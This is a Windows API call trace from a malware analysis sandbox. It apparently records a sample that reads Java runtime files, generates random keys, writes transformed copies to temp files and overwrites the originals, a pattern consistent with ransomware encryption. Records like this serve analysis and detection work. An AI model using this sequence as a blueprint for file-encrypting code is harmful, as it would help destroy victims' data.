	[0257.500] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0001ec000*, nNumberOfBytesToWrite=0x5e4e, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x5e4e, lpOverlapped=0x0) returned 1
	[0257.501] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0001ec000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0001ec000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0257.501] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba")) returned 0
	[0257.501] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba")) returned 0
	[0257.501] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba")) returned 0x20
	[0257.501] CloseHandle (hObject=0x1b4) returned 1
	[0257.502] CloseHandle (hObject=0x1ac) returned 1
	[0257.554] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\3ca019b59b1b9a7469f270177ab25aba" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\3ca019b59b1b9a7469f270177ab25aba")) returned 1
	[0257.592] SetEvent (hEvent=0xe4) returned 1
	[0257.592] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x43, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0257.592] WriteFile (in: hFile=0x0, lpBuffer=0xc00027e0c0, nNumberOfBytesToWrite=0x95, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0257.597] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1ac
	[0257.597] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0000bbbf4 | out: lpMode=0xc0000bbbf4) returned 0
	[0257.597] GetFileType (hFile=0x1ac) returned 0x1
	[0257.597] GetFileType (hFile=0x1ac) returned 0x1
	[0257.597] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0xc0000bbc44 | out: lpFileInformation=0xc0000bbc44) returned 1
	[0257.597] GetFileInformationByHandleEx (in: hFile=0x1ac, FileInformationClass=0x9, lpFileInformation=0xc0000bbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bbc28) returned 1
	[0257.598] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000148000, nNumberOfBytesToRead=0x10f3c, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000148000*, lpNumberOfBytesRead=0xc0000bbb04*=0x10d3c, lpOverlapped=0x0) returned 1
	[0261.788] SetEvent (hEvent=0x124) returned 1
	[0261.788] ReadFile (in: hFile=0x1ac, lpBuffer=0xc000158d3c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000158d3c*, lpNumberOfBytesRead=0xc0000bbb04*=0x0, lpOverlapped=0x0) returned 1
	[0261.789] CloseHandle (hObject=0x1ac) returned 1
	[0261.789] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e7a0 | out: pbBuffer=0xc00000e7a0) returned 1
	[0261.789] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a5b0 | out: pbBuffer=0xc00021a5b0) returned 1
	[0261.789] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001001 | out: pbBuffer=0xc000001001) returned 1
	[0261.789] VirtualAlloc (lpAddress=0xc000254000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000254000
	[0261.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.065] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0263.065] GetFileType (hFile=0x120) returned 0x1
	[0263.065] WriteFile (in: hFile=0x120, lpBuffer=0xc000254000*, nNumberOfBytesToWrite=0x10e3c, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000254000*, lpNumberOfBytesWritten=0xc0000bbbec*=0x10e3c, lpOverlapped=0x0) returned 1
	[0263.067] CloseHandle (hObject=0x120) returned 1
	[0263.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.193] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0263.193] GetFileType (hFile=0x120) returned 0x1
	[0263.194] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.194] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0263.194] GetFileType (hFile=0x1b0) returned 0x1
	[0263.194] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00015a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.194] WriteFile (in: hFile=0x120, lpBuffer=0xc00015a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.195] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00015a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.196] WriteFile (in: hFile=0x120, lpBuffer=0xc00015a000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.196] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00015a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesRead=0xc0000bbbd4*=0xe3c, lpOverlapped=0x0) returned 1
	[0263.196] WriteFile (in: hFile=0x120, lpBuffer=0xc00015a000*, nNumberOfBytesToWrite=0xe3c, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesWritten=0xc0000bbb74*=0xe3c, lpOverlapped=0x0) returned 1
	[0263.196] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00015a000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc00015a000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.196] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305")) returned 0
	[0263.197] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305")) returned 0
	[0263.197] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305")) returned 0x20
	[0263.197] CloseHandle (hObject=0x1b0) returned 1
	[0263.197] CloseHandle (hObject=0x120) returned 1
	[0263.198] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\48e7a130be1543eb1ddc1395c189a305" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\48e7a130be1543eb1ddc1395c189a305")) returned 1
	[0263.330] SetEvent (hEvent=0xfc) returned 1
	[0263.330] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a000, nNumberOfBytesToWrite=0x5e, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0263.330] VirtualAlloc (lpAddress=0xc000188000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000188000
	[0263.331] WriteFile (in: hFile=0x0, lpBuffer=0xc0001e0000, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bbd94, lpOverlapped=0x0) returned 0
	[0263.331] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0263.331] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbbf4 | out: lpMode=0xc0000bbbf4) returned 0
	[0263.331] GetFileType (hFile=0x120) returned 0x1
	[0263.331] VirtualAlloc (lpAddress=0xc0001e4000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e4000
	[0263.332] GetFileType (hFile=0x120) returned 0x1
	[0263.332] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0000bbc44 | out: lpFileInformation=0xc0000bbc44) returned 1
	[0263.332] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0000bbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bbc28) returned 1
	[0263.332] VirtualAlloc (lpAddress=0xc0001e6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001e6000
	[0263.332] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e6000, nNumberOfBytesToRead=0x299, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6000*, lpNumberOfBytesRead=0xc0000bbb04*=0x99, lpOverlapped=0x0) returned 1
	[0263.334] ReadFile (in: hFile=0x120, lpBuffer=0xc0001e6099, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001e6099*, lpNumberOfBytesRead=0xc0000bbb04*=0x0, lpOverlapped=0x0) returned 1
	[0263.334] CloseHandle (hObject=0x120) returned 1
	[0263.334] VirtualAlloc (lpAddress=0xc0001ea000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001ea000
	[0263.334] VirtualAlloc (lpAddress=0xc0001f6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001f6000
	[0263.335] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092220 | out: pbBuffer=0xc000092220) returned 1
	[0263.335] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000094150 | out: pbBuffer=0xc000094150) returned 1
	[0263.335] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082301 | out: pbBuffer=0xc000082301) returned 1
	[0263.335] VirtualAlloc (lpAddress=0xc0001fa000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fa000
	[0263.335] VirtualAlloc (lpAddress=0xc0001fe000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0001fe000
	[0263.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.611] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbc04 | out: lpMode=0xc0000bbc04) returned 0
	[0263.611] GetFileType (hFile=0x120) returned 0x1
	[0263.611] WriteFile (in: hFile=0x120, lpBuffer=0xc000180000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bbbec, lpOverlapped=0x0 | out: lpBuffer=0xc000180000*, lpNumberOfBytesWritten=0xc0000bbbec*=0x199, lpOverlapped=0x0) returned 1
	[0263.612] CloseHandle (hObject=0x120) returned 1
	[0263.704] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.705] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0263.705] GetFileType (hFile=0x120) returned 0x1
	[0263.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.705] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000bbd74 | out: lpMode=0xc0000bbd74) returned 0
	[0263.705] GetFileType (hFile=0x1b0) returned 0x1
	[0263.705] VirtualAlloc (lpAddress=0xc0002b6000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002b6000
	[0263.705] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002b6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b6000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x199, lpOverlapped=0x0) returned 1
	[0263.705] WriteFile (in: hFile=0x120, lpBuffer=0xc0002b6000*, nNumberOfBytesToWrite=0x199, lpNumberOfBytesWritten=0xc0000bbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0002b6000*, lpNumberOfBytesWritten=0xc0000bbb74*=0x199, lpOverlapped=0x0) returned 1
	[0263.706] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002b6000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002b6000*, lpNumberOfBytesRead=0xc0000bbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.706] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e")) returned 0
	[0263.707] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e")) returned 0
	[0263.707] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e")) returned 0x20
	[0263.707] CloseHandle (hObject=0x1b0) returned 1
	[0263.707] CloseHandle (hObject=0x120) returned 1
	[0263.707] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f7a0fb39148ba6322c947594797a358e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f7a0fb39148ba6322c947594797a358e")) returned 1
	[0263.863] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.058] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.179] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.238] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.246] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0
	[0269.250] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.250] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000bfd94, lpOverlapped=0x0) returned 0
	[0269.250] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0269.250] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfbf4 | out: lpMode=0xc0000bfbf4) returned 0
	[0269.250] GetFileType (hFile=0x19c) returned 0x1
	[0269.250] GetFileType (hFile=0x19c) returned 0x1
	[0269.250] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0000bfc44 | out: lpFileInformation=0xc0000bfc44) returned 1
	[0269.250] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0000bfc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000bfc28) returned 1
	[0269.250] ReadFile (in: hFile=0x19c, lpBuffer=0xc000069180, nNumberOfBytesToRead=0x37d, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc000069180*, lpNumberOfBytesRead=0xc0000bfb04*=0x17d, lpOverlapped=0x0) returned 1
	[0269.251] ReadFile (in: hFile=0x19c, lpBuffer=0xc0000692fd, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000bfb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000692fd*, lpNumberOfBytesRead=0xc0000bfb04*=0x0, lpOverlapped=0x0) returned 1
	[0269.251] CloseHandle (hObject=0x19c) returned 1
	[0269.251] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000eee0 | out: pbBuffer=0xc00000eee0) returned 1
	[0269.251] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a8d0 | out: pbBuffer=0xc00021a8d0) returned 1
	[0269.251] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001601 | out: pbBuffer=0xc000001601) returned 1
	[0269.251] VirtualAlloc (lpAddress=0xc0003ce000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003ce000
	[0269.252] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0269.252] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfc04 | out: lpMode=0xc0000bfc04) returned 0
	[0269.252] GetFileType (hFile=0x19c) returned 0x1
	[0269.252] WriteFile (in: hFile=0x19c, lpBuffer=0xc0003ce000*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0xc0000bfbec, lpOverlapped=0x0 | out: lpBuffer=0xc0003ce000*, lpNumberOfBytesWritten=0xc0000bfbec*=0x27d, lpOverlapped=0x0) returned 1
	[0269.253] CloseHandle (hObject=0x19c) returned 1
	[0269.255] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management-agent.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management-agent.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0269.256] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.256] GetFileType (hFile=0x19c) returned 0x1
	[0269.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b4
	[0269.256] GetConsoleMode (in: hConsoleHandle=0x1b4, lpMode=0xc0000bfd74 | out: lpMode=0xc0000bfd74) returned 0
	[0269.256] GetFileType (hFile=0x1b4) returned 0x1
	[0269.256] VirtualAlloc (lpAddress=0xc0003d0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d0000
	[0269.257] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0003d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003d0000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x27d, lpOverlapped=0x0) returned 1
	[0269.257] WriteFile (in: hFile=0x19c, lpBuffer=0xc0003d0000*, nNumberOfBytesToWrite=0x27d, lpNumberOfBytesWritten=0xc0000bfb74, lpOverlapped=0x0 | out: lpBuffer=0xc0003d0000*, lpNumberOfBytesWritten=0xc0000bfb74*=0x27d, lpOverlapped=0x0) returned 1
	[0269.258] ReadFile (in: hFile=0x1b4, lpBuffer=0xc0003d0000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0000bfbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0003d0000*, lpNumberOfBytesRead=0xc0000bfbd4*=0x0, lpOverlapped=0x0) returned 1
	[0269.258] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01")) returned 0
	[0269.258] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01")) returned 0
	[0269.258] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01")) returned 0x20
	[0269.258] CloseHandle (hObject=0x1b4) returned 1
	[0269.258] CloseHandle (hObject=0x19c) returned 1
	[0269.259] VirtualAlloc (lpAddress=0xc0003d8000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003d8000
	[0269.259] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\175da62319587fd8b724b953eda10f01" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\175da62319587fd8b724b953eda10f01")) returned 1
	[0269.260] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0269.260] VirtualAlloc (lpAddress=0xc0003da000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003da000
	[0269.260] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x92, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0269.260] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0269.261] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0269.261] GetFileType (hFile=0x19c) returned 0x1
	[0269.261] GetFileType (hFile=0x19c) returned 0x1
	[0269.261] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0269.261] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0269.261] ReadFile (in: hFile=0x19c, lpBuffer=0xc00093c000, nNumberOfBytesToRead=0x1d5a8b, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00093c000*, lpNumberOfBytesRead=0xc0001dbb04*=0x1d588b, lpOverlapped=0x0) returned 1
	[0271.743] SetEvent (hEvent=0x124) returned 1
	[0271.743] ReadFile (in: hFile=0x19c, lpBuffer=0xc000b1188b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000b1188b*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0271.743] CloseHandle (hObject=0x19c) returned 1
	[0271.743] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000202220 | out: pbBuffer=0xc000202220) returned 1
	[0271.744] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010240 | out: pbBuffer=0xc000010240) returned 1
	[0271.744] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000701 | out: pbBuffer=0xc000000701) returned 1
